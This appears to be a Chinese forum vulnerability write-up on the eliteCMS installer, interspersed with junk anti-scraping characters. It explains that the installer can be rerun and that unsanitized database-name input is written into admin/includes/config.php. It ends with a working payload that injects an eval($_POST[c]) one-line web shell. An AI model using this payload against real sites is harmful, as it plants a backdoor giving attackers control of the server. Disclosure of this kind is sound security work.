eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装; S% ]0 k n; Z, M" y/ y) C) ]; c* V
9 R- D6 {5 u" P
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php% L1 }* ?" r3 l% j* D$ m
我们来看代码:/ V# Q+ f6 b% _; p4 e) k) c
% z1 }5 {0 [( E8 R
...3 H; g5 K7 P' A& P% u! n
elseif ($_GET['step'] == "4") {
" ^! }: u" n' ?8 B $file = "../admin/includes/config.php";
) U; b @5 @- C$ ]: M( n$ Y $write = "<?php\n";, g: r% e0 s: K' P" [: l5 J. K
$write .= "/**\n";
Y( i U8 a. e0 M! Z, H $write .= "*\n";
1 t( r3 u. {" _# V# H2 ?8 W $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";4 z9 }; {* v4 U0 I
...略...* B6 `1 m7 G4 r0 L' k
$write .= "*\n";6 s' e1 b; y- }, y
$write .= "*/\n";
! l! o2 O5 A9 z) B+ {) D $write .= "\n";
# w8 X1 Q' e3 l! o V% I $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
: [9 r# M2 j, { $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
; w6 W: `9 A, H/ j* ~) n t $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
9 c$ Z0 u: `7 k2 V7 v" J' [ $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";; j9 \! H( _$ x* q
$write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
# S6 b% m3 i/ B4 S3 r' g# a $write .= "if (!\$connection) {\n";
' c& B/ M/ M8 t2 u! ?2 m$ \+ P& N $write .= " die(\"Database connection failed\" .mysql_error());\n";3 \$ g B6 K% J% b Q- b$ t
$write .= " \n";% } F1 m. | _# H' M# \0 L0 r3 p; U' A
$write .= "} \n";
! D) e* }) M0 q I. ~+ g5 x $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
9 ?" L: V) v1 H# q6 p ?. R $write .= "if (!\$db_select) {\n";% z$ h% g" l8 U) w# ?
$write .= " die(\"Database select failed\" .mysql_error());\n";
+ O3 Y- E7 |" G5 U+ C $write .= " \n";
" D3 n! h% }& P+ m ~) ?1 v $write .= "} \n";
/ I) q2 g1 q: y/ K% j; P $write .= "?>\n";
0 h Y4 |- n& Y8 N
3 W0 j C, y. q0 }$ m- U $writer = fopen($file, 'w');7 `) S: P2 Z K% Z& n/ j7 ~
...
& K2 M6 q( a2 q" a3 U
) `2 P5 g) T( ~在看代码:3 Z6 w% N$ z6 O! b. D8 B5 z
! D- k8 Q& T+ c4 V
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
) u$ y5 S8 D, V. O$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
0 }6 Y ?( G; E+ C: e7 F* u$_SESSION['DB_USER'] = $_POST['DB_USER'];
c1 ~" l9 a* [5 ?. n4 x0 I: W7 n1 x$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
% E4 \/ i T0 x$ w+ p3 k
; X- e; {, w j$ ~3 s2 b" H% x取值未作任何验证
7 d I g9 @+ ]" N2 @" y7 f8 J如果将数据库名POST数据:
: T, F1 x4 g9 K C2 L6 I( v: u8 c: v
C, r' y1 \' [6 t3 T1 P3 W. L"?><?php eval($_POST[c]);?><?php( N; U8 E- c2 F1 `
1 M6 B0 c p' A, t& b
将导致一句话后门写入/admin/includes/config.php5 J) E; m' X) F6 C& E6 K. l
|